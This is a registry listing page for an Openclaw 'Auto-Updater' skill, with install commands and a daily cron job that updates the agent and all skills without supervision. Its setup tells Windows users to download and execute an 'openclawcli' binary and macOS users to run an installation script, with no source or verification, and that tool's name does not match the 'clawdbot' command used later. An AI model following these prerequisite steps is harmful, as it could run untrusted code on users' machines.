Auto-Updater for Openclaw

Automatically keep your coding agent and all installed skills updated with scheduled daily maintenance.

timclawbot
v1.0.0
Feb 11, 2026
0
1.4k
2

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install update

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install update using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Auto-Updater?

The Auto-Updater skill is a critical maintenance tool designed to ensure your local environment always runs the latest features and security patches. By automating the lifecycle management of Openclaw Skills and the core agent framework, it eliminates manual overhead and provides peace of mind through consistent, reliable updates.

This skill leverages cron scheduling to perform silent background checks, apply migrations, and reconcile skill versions against the central registry. It is an essential component for power users who rely on a stable and up-to-date suite of Openclaw Skills for their daily development workflows.

Auto-Updater Use Cases

  • Automated daily maintenance of the agent core and all individual Openclaw Skills.
  • Receiving detailed summary reports of version changes and update statuses after each run.
  • Ensuring system migrations are applied automatically via integrated doctor commands.
  • Maintaining security and performance by staying on the latest stable releases without manual intervention.

How Auto-Updater Works

  1. A daily cron job triggers at a user-defined time, typically during off-peak hours.
  2. The system verifies that the required openclawcli utility is active and responsive on the host machine.
  3. Core agent updates are pulled and applied using the appropriate package manager (npm, pnpm, or bun) or git checkout.
  4. The skill iterates through all installed Openclaw Skills to check for newer versions in the remote registry.
  5. Updates are installed, system migrations are executed, and a comprehensive summary message is delivered to the user.

Auto-Updater Setup

Ensure openclawcli is installed and running on your system as it is the primary engine for this skill. For Windows, download and execute the openclawcli binary; for macOS, run the terminal installation script. Once the prerequisite is met, you can initialize the service by asking the agent to set up updates or by manually adding the cron job:

clawdbot cron add \
  --name "Daily Auto-Update" \
  --cron "0 4 * * *" \
  --tz "America/Los_Angeles" \
  --session isolated \
  --wake now \
  --deliver \
  --message "Run daily auto-updates: check for Clawdbot updates and update all skills. Report what was updated."

Auto-Updater Data Schema & Taxonomy

The skill generates structured reporting data following every update cycle to keep you informed. The data schema includes:

Field Description
Core Version Records the previous and current version of the agent software.
Update List A collection of Openclaw Skills that were successfully patched with version increments.
Current List A list of Openclaw Skills that were already at the latest version and required no action.
Error Logs Technical details of any failed update attempts for troubleshooting and resolution.

All update summaries are formatted in Markdown for clear visibility within your primary communication session.

Auto-Updater Advanced Features

  • Dry-run capability to preview pending updates for Openclaw Skills without applying changes to the system.
  • Custom cron scheduling and timezone configuration to align maintenance windows with your workflow.
  • Automatic system health checks via integrated doctor commands executed immediately after every update.
  • Flexible support for multiple package managers including npm, pnpm, and bun for core updates.
  • Isolated session execution to ensure maintenance tasks do not interfere with active development threads.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Github Stars: 0
forks: 0

Featured*